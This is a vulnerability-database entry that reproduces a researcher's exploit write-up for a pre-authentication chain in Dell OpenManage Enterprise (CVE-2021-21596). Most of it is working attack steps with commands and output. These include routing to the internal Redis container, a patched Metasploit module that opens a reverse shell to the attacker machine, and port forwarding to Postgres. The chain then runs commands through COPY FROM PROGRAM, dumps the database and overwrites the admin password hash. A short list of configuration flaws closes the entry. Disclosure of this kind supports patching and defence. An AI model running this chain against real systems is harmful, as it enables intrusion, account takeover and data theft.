Lucene search

K
seebugKnownsecSSV:99310
HistoryJul 21, 2021 - 12:00 a.m.

Dell OpenManage Enterprise docker实例预认证RCE认证绕过漏洞(CVE-2021-21596)

2021-07-2100:00:00
Knownsec
www.seebug.org
172

Details - Remote Auth Bypass with 2 pre-auth RCEs in docker instances
There is a chain of pre-auth vulnerabilities allowing to:

get a shell on the redis container, as redis
get a shell on the postgres container, as postgres
get a full access to the postgres database
bypass authentication on the web interface as admin
Due to some requirements in the exploit chain, the attacker needs to be on the same subnet as the target (same LAN, without a gateway between the target and the attacker).

The attack scenario is:

attacker will own the redis running in a container inside the virtual machine running Dell OpenManage Enterprise and get a shell inside this container
attacker will use the shell inside the redis container as a relay to get access to the remote postgresql server
attacker will get a shell on the postgresql server
attacker will redefine a new password for the web interface and will dump the entire postgresql server
attacker will get an access on the web interface as admin
The network flow is:

Attacker(192.168.1.102) -> redis(169.254.255.3, routed by 192.168.1.100) -> Posgres(169.254.255.2)

IPs used in this setup:

192.168.1.100: target virtual machine running Dell OpenManage Enterprise.
192.168.1.102: attacker machine, running Kali.
Internal IPs inside Dell OpenManage Enterprise, by default, already configued by the solution:

169.254.255.2 is the internal IP of the postgres container running inside the virtual machine running Dell OpenManage Enterprise.
169.254.255.3 is the internal IP of the redis container running inside the virtual machine running Dell OpenManage Enterprise.

[root@openmanage-enterprise /]# docker ps
CONTAINER ID        IMAGE                              COMMAND                  CREATED             STATUS              PORTS                                NAMES
ecf97860f111        redis:latest                       "docker-entrypoint.s"   2 hours ago         Up 2 hours          127.0.0.1:6379->6379/tcp             redis
e1e82315ec5b        mcsi/omeproductionimage:2.6.0.43   "docker-entrypoint.s"   2 hours ago         Up 2 hours          2345/tcp, 127.0.0.1:5432->5432/tcp   primarydatabase

Shell and Metasploit session:

It is required to add a route to the internal IP of the redis container running inside OpenManage Enterprise:

kali# route add -host 169.254.255.3 gw 192.168.1.100
kali# traceroute -nI 169.254.255.3
traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets
 1  192.168.1.100  0.775 ms  0.762 ms  1.060 ms
 2  169.254.255.3  1.911 ms  1.922 ms  1.893 ms

On the 3.6.1 version, pings are now dropped. Using tcptraceroute:

kali# tcptraceroute 169.254.255.3 6379
Running:
    traceroute -T -O info -p 6379 169.254.255.3
traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets
 1  192.168.1.100 (192.168.1.100)  0.489 ms  0.440 ms  0.545 ms
 2  169.254.255.3 (169.254.255.3) <syn,ack>  0.852 ms  0.821 ms  0.720 ms

An attacker can now reach the redis and postgres docker instances because iptables is not correctly configured and allow the 2 services to be reachable from the WAN. Also, by default, IP forwarding is enabled:

[root@openmanage-enterprise /]# sysctl net.ipv4.conf.all.forwarding
net.ipv4.conf.all.forwarding = 1

Why not directly reaching Postgres ? By default, ACLs defined in Postgres configuration only allow connections from the 169.254.255.0/24 range, thus it is required to reach the redis interface available on the 169.254.255.3 IP and then use redis as a relay to reach the postgres instance.

local postgres    postgres            trust
host  enterprisedb  core_admin    ::1/128     trust
host  enterprisedb  core_admin    127.0.0.1/32  trust
host  enterprisedb  core_admin    169.254.255.1/24  trust
local enterprisedb  core_admin            trust

local replication     rep                                             trust
host  replication     rep                     169.254.255.1/24        trust

When trying to connect directly to the IP of Postgres, we can see it is ACL-blocked (after adding a route to 169.254.255.2):

kali# psql -d enterprisedb -h 169.254.255.2 -U core_admin -p 5432
kali# psql: error: could not connect to server: FATAL:  no pg_hba.conf entry for host "192.168.1.102", user "core_admin", database "enterprisedb", SSL off

We can test if we can reach directly the redis daemon, running inside the redis docker:

kali# telnet 169.254.255.3 6379
Trying 169.254.255.3...
Connected to 169.254.255.3.
Escape character is '^]'.
TEST
-ERR unknown command `TEST`, with args beginning with:
config set dir /tmp
+OK
^]q
telnet> q
Connection closed.

We can reach redis, time to get RCE using master/slave replication using metasploit.

On the attacker machine, it is required to update the /usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb file to use a writable directory for the user redis:

Patch /usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb to add:

131a132
>     redis_command('CONFIG', 'SET', 'dir', '/tmp')

Metasploit session:

ali# msfconsole
msf5 > use exploit/linux/redis/redis_unauth_exec
msf5 exploit(linux/redis/redis_unauth_exec) > set SRVHOST 192.168.1.102
SRVHOST => 192.168.1.102
msf5 exploit(linux/redis/redis_unauth_exec) > set LHOST 192.168.1.102
LHOST => 192.168.1.102
msf5 exploit(linux/redis/redis_unauth_exec) > set RHOSTS 169.254.255.3
RHOSTS => 169.254.255.3
msf5 exploit(linux/redis/redis_unauth_exec) > run

[*] Started reverse TCP handler on 192.168.1.102:4444
[*] 169.254.255.3:6379    - Compile redis module extension file
[+] 169.254.255.3:6379    - Payload generated successfully!
[*] 169.254.255.3:6379    - Listening on 192.168.1.102:6379
[*] 169.254.255.3:6379    - Rogue server close...
[*] 169.254.255.3:6379    - Sending command to trigger payload.
[*] Sending stage (3021284 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.100:60572) at 2020-07-11 12:59:57 -0400
[!] 169.254.255.3:6379    - This exploit may require manual cleanup of './mkmiq.so' on the target

meterpreter > ls
Listing: /tmp
=============

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  46808  fil   2020-07-09 08:59:55 -0400  mkmiq.so

meterpreter > shell
Process 19 created.
Channel 1 created.
id
uid=999(redis) gid=999(redis) groups=999(redis)
exit
meterpreter >

Note, with a recent metasploit, the exploit has been moved to exploit/linux/redis/redis_replication_cmd_exec.

The diff is now:

diff /usr/share/metasploit-framework/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
137a138
>     redis_command('CONFIG', 'SET', 'DIR', '/tmp')

This works with all openmanage version (up to the latest version - 3.6.1).

After getting a shell as redis inside the redis docker, it is time to add a port forwarding to the postgresql, in order to bypass ACLs:

meterpreter > portfwd add -l 5432 -p 5432 -r 169.254.255.2
[*] Local TCP relay created: :5432 <-> 169.254.255.2:5432

On another shell, an attacker will get code execution inside the PGSQL container:

kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
psql (12.1 (Debian 12.1-2), server 11.6)
Type "help" for help.

enterprisedb-# \l
                                    List of databases
     Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges
--------------+------------+----------+-------------+-------------+-----------------------
 enterprisedb | core_admin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 postgres     | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
              |            |          |             |             | postgres=CTc/postgres
 template1    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
              |            |          |             |             | postgres=CTc/postgres
(4 rows)

enterprisedb=# DROP TABLE IF EXISTS cmd_exec;
DROP TABLE
enterprisedb=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
enterprisedb=# COPY cmd_exec FROM PROGRAM 'id';
COPY 1
enterprisedb=# SELECT * FROM cmd_exec;
                      cmd_output
-------------------------------------------------------
 uid=26(postgres) gid=26(postgres) groups=26(postgres)
(1 row)

enterprisedb=#

Dump of database:

kali# pg_dump -d enterprisedb -h 127.0.0.1 -U core_admin > dump.sql

Time to redefine the administrator password:

Passwords are located in encryptedstring table:

kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
enterprisedb=# SELECT * FROM encryptedstring;
3 | $2a$10$.hbHnOt6crprUoAO2PMJxerc8nQ12SJ.jxgM8JgZiuLIfkCVNgSqe
4 | system
1 | $2a$10$bzBdUKXFdlb0U7Hl.w6XIuQFKQQr0Qgi165KN2TaaOemlaAe.OuU2
2 | admin

Change admin password into x:

kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
enterprisedb=# UPDATE encryptedstring SET encrypteddata='$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6' WHERE id=1;
UPDATE 1
enterprisedb=#

Now, use admin / x on the web interface ( http://192.168.1.100/ ).

After reversing some java code, passwords are blowfish 10 rounds:

kali# python3
Python 3.7.5 (default, Oct 27 2019, 15:43:29)
[GCC 9.2.1 20191022] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import bcrypt
>>> passwd = b'x'
>>> salt = b'$2a$10$XXXXXXXXXXXXXXXXXXXXXXXXX' # or bcrypt.gensalt(rounds=10)
>>> hashed = bcrypt.hashpw(passwd, salt)
>>> print(hashed)
b'$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6'
>>>

The main takeways in this setup are:

  • Incorrect iptables firewall for Postgres and Redis - only the main IP of the appliance is correctly firewalled, docker instances have these 2 ports open
  • IP forwarding is enabled
  • Lack of authentication for Redis,
  • Lack of authentication for Postgres, only based on IP with an errror when defining the netmask: 169.254.255.1/24 is being used instead of 169.254.255.1/32 or 169.254.255.0/24
  • Incorrect ACL for Postgres
  • SELinux is useless in this case because all actions are legit
  • Custom ‘encryption’ everywhere to waste time
Related for SSV:99310